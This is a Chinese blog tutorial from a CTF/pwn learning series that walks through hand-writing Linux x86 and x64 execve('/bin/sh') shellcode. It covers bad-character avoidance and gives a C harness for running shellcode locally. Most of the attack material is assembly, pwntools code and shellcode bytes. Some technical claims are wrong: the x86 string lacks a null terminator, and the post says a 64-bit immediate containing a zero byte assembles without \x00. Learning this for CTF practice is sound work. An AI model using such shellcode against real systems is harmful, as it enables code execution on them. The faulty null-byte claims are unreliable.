【学习记录】Week3(三):灵魂注入——x86/x64 手写基础 Shellcode 实战

【学习记录】Week3(三):灵魂注入——x86/x64 手写基础 Shellcode 实战

写在前面:在上一篇中,我们用pwntoolsshellcraft.sh()一键生成了 Shellcode 并成功注入。但在真实漏洞利用场景中,自动生成的 Shellcode 往往包含\x00等坏字符,或者长度超标被截断。一个成熟的 Pwn 手必须具备从零手写 Shellcode 的能力。今天,我们就来扒开 Shellcode 的底裤,手写 x86 和 x64 的极简 Shellcode。

📑 目录

  1. Shellcode 的本质:就是调用系统 API
  2. x86 手写实战:int 0x80execve
  3. x64 演进:syscall与寄存器传参变化
  4. 高阶技巧:如何消灭坏字符\x00
  5. 总结与验证

1. Shellcode 的本质:就是调用系统 API

Shellcode 并不是什么魔法,它本质上就是一段调用操作系统底层 API 的汇编代码。在 Linux 中,执行/bin/sh最标准的做法是调用execve系统调用。

execve的函数原型是:int execve(const char *filename, char *const argv[], char *const envp[]);
要拿 Shell,我们需要让它的参数变成这样:execve("/bin/sh", NULL, NULL)

在汇编层面,这就是一场给寄存器赋值并触发中断的游戏:

  1. 找个地方放字符串"/bin/sh",把它的地址给对应寄存器。
  2. 把参数指针数组argv设为NULL(0)。
  3. 把环境变量数组envp设为NULL(0)。
  4. 把系统调用号execve给累加器(EAX/RAX)。
  5. 触发系统调用中断。

2. x86 手写实战:int 0x80execve

在 32 位 Linux 中,系统调用使用int 0x80软中断触发。查阅系统调用表,execve的调用号是11 (0xb)
寄存器约定:

  • eax= 0xb (系统调用号)
  • ebx= “/bin/sh” 字符串地址 (第一个参数)
  • ecx= 0 (第二个参数 NULL)
  • edx= 0 (第三个参数 NULL)

问题来了:字符串 “/bin/sh” 在哪?
由于 ASLR,我们不知道绝对地址。但我们可以利用来动态构造字符串,并利用esp获取它的地址。

“/bin/sh” 共 8 个字节(含结尾的\x00)。为了避开\x00坏字符,我们通常使用 “//bin/sh”(8字节,效果等同)。

x86 汇编代码推演:

; 1. 清零 ecx 和 edx (避免内存里有脏数据) xor ecx, ecx xor edx, edx ; 2. 把 "//bin/sh" 压入栈中 ; 注意小端序,倒着写:"hs/n" 和 "ib//" push 0x68732f6e ; hs/n (实际是 hs// 的变形,这里凑 8 字节) push 0x69622f2f ; ib// ; 3. 把 esp (此时指向栈顶的 "//bin/sh") 赋给 ebx mov ebx, esp ; 4. 把系统调用号 0xb 赋给 eax ; 注意:直接 mov eax, 0xb 会产生 \x00,所以用异或清零再赋值 xor eax, eax mov al, 0xb ; 5. 触发中断 int 0x80

假设性说明(模拟 pwntoolsasm()输出):
将上述汇编用 pwntools 编译,查看生成的机器码:

from pwn import * context.arch = 'i386' code = ''' xor ecx, ecx; xor edx, edx; push 0x68732f6e; push 0x69622f2f; mov ebx, esp; xor eax, eax; mov al, 0xb; int 0x80; ''' print(asm(code))

模拟终端输出机器码:

b'\x31\xc9\x31\xd2\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc0\xb0\x0b\xcd\x80'

完美!整段机器码中没有任何\x00,可以直接作为 Payload 发送。

3. x64 演进:syscall与寄存器传参变化

到了 64 位,事情发生了两个变化:

  1. 触发系统调用的指令从int 0x80变成了更高效的syscall
  2. execve的调用号变成了59 (0x3b)
  3. 传参不再用栈,而是用寄存器:rdi(参数1),rsi(参数2),rdx(参数3),rax(调用号)。

x64 汇编代码推演:

; 1. 清零 rdx 和 rsi xor rdx, rdx xor rsi, rsi ; 2. 压入 "/bin/sh" ; "/bin/sh" 只有 7 个字符,加上结尾 \x00 是 8 字节 ; 但我们不能直接 push \x00 ; 技巧:先 push 一个 0,再改写内存 push rdx ; rdx 是 0,压入 8 个字节的 0 作为字符串结尾 mov rdi, 0x68732f6e69622f ; "/bin/sh" 的 hex 形式 (刚好 7 字节,最高字节为 0) push rdi ; 压入栈 ; 3. 让 rdi 指向栈顶的字符串 mov rdi, rsp ; 4. 设置系统调用号 0x3b xor rax, rax mov al, 0x3b ; 5. 触发 syscall syscall

避坑指南:
为什么这里mov rdi, 0x68732f6e69622f可以直接写?因为在 64 位汇编中,mov r64, imm64指令允许直接将 64 位立即数载入寄存器,由于最高位是0x00,这条指令的机器码中不会包含额外的\x00截断字符(汇编器会自动处理成最短指令)。但如果用mov rdi, "/bin/sh\x00"则可能会触发错误或产生坏字符。

4. 高阶技巧:如何消灭坏字符\x00

在很多漏洞场景中(如strcpygets等字符串操作函数),遇到\x00会被认为是字符串结束符,从而截断我们的 Payload。手写 Shellcode 的核心就是消除\x00

常见消零手法总结:

  1. 清零不用mov reg, 0
    • xor eax, eax(异或自己结果为 0)。
    • push 0; pop rax(如果必须赋 0,但要注意push 0本身机器码带\x00,可以xor rdx, rdx; push rdx; pop rax)。
  2. 给低位赋值不用mov eax, 0xb
    • 因为高位会是 0,机器码会带\x00
    • xor eax, eax,再用mov al, 0xb只改写最低字节。
  3. 字符串处理不用\x00结尾硬编码
    • 压栈时利用寄存器清零后的值作为垫背,如上述 64 位中的push rdx

5. 总结与验证

手写 Shellcode 是 PWN 进阶的分水岭。它要求你不仅懂汇编,还要懂系统调用约定,更要像特种兵一样在机器码的雷区中躲避\x00坏字符。

本地验证小技巧:
写完 Shellcode 后,不用每次都打远程测试。可以直接写一段 C 代码将其强制转换为函数指针执行:

#include <stdio.h> #include <string.h> unsigned char shellcode[] = "\x31\xc9\x31\xd2..."; // 你的机器码 int main() { printf("Shellcode Length: %d\n", strlen(shellcode)); (*(void(*)())&shellcode)(); return 0; } // 编译时记得关栈保护且开启可执行栈:gcc test.c -o test -z execstack -fno-stack-protector

至此,我们掌握了控制流劫持、栈跳转和手写 Shellcode。但在现代 CTF 和真实环境中,经常会遇到沙箱禁用execve的情况,这时候system("/bin/sh")不好使了,我们就必须转向更底层的文件读写——ORW。下一篇,我们将梳理 ORW 的学习路径。

如果本文对你有帮助,请点赞收藏支持!🙏